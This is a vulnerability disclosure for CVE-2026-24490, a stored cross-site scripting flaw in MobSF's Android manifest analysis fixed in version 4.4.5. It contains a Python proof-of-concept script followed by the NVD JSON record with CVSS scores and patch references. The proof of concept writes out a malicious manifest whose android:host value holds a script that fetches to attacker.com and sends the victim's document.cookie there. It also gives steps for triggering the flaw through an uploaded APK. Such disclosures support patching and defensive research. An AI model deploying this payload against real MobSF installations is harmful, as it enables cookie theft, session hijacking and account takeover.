CVE-2026-24490

#!/usr/bin/env python3 # CVE-2026-24490 PoC - Malicious APK Manifest Fragment # This demonstrates the XSS payload in android:host attribute android_manifest_xml = '''<?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.example.maliciousapp"> <application android:allowBackup="true" android:label="Malicious App" android:supportsRtl="true" android:theme="@android:style/Theme.Material.Light"> <activity android:name=".MainActivity"> <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> <!-- XSS payload in android:host attribute --> <intent-filter> <action android:name="android.intent.action.VIEW" /> <category android:name="android.intent.category.DEFAULT" /> <category android:name="android.intent.category.BROWSABLE" /> <data android:scheme="android_secret_code" android:host="<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>" /> </intent-filter> </activity> </application> </manifest>''' print("PoC: Craft APK with malicious AndroidManifest.xml containing XSS payload") print("Payload location: <data android:scheme='android_secret_code' android:host='...XSS...'/>") print("Upload to MobSF < v4.4.5, view HTML report to trigger XSS")

{"cve": {"id": "CVE-2026-24490", "sourceIdentifier": "[email protected]", "published": "2026-01-27T01:16:02.610", "lastModified": "2026-02-17T20:36:16.200", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "MobSF is a mobile application security testing tool used. Prior to version 4.4.5, a Stored Cross-site Scripting (XSS) vulnerability in MobSF's Android manifest analysis allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session by uploading a malicious APK. The `android:host` attribute from `<data android:scheme=\"android_secret_code\">` elements is rendered in HTML reports without sanitization, enabling session hijacking and account takeover. Version 4.4.5 fixes the issue."}, {"lang": "es", "value": "MobSF es una herramienta de prueba de seguridad de aplicaciones móviles. Antes de la versión 4.4.5, una vulnerabilidad de Cross-site Scripting (XSS) Almacenado en el análisis del manifiesto de Android de MobSF permite a un atacante ejecutar JavaScript arbitrario en el contexto de la sesión del navegador de una víctima al subir un APK malicioso. El atributo `android:host` de los elementos `` se renderiza en informes HTML sin sanitización, permitiendo el secuestro de sesión y la toma de control de cuentas. La versión 4.4.5 soluciona el problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 5.8}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:opensecurity:mobile_security_framework:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.4.5", "matchCriteriaId": "04FAB846-35D5-4AFD-9F72-AF1DFC072EA9"}]}]}], "references": [{"url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/commit/2b08dd050e7685ee2a14fdbb454affab94129eae", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/releases/tag/v4.4.5", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/security/advisories/GHSA-8hf7-h89p-3pqj", "source": "[email protected]", "tags": ["Vendor Advisory", "Exploit"]}]}}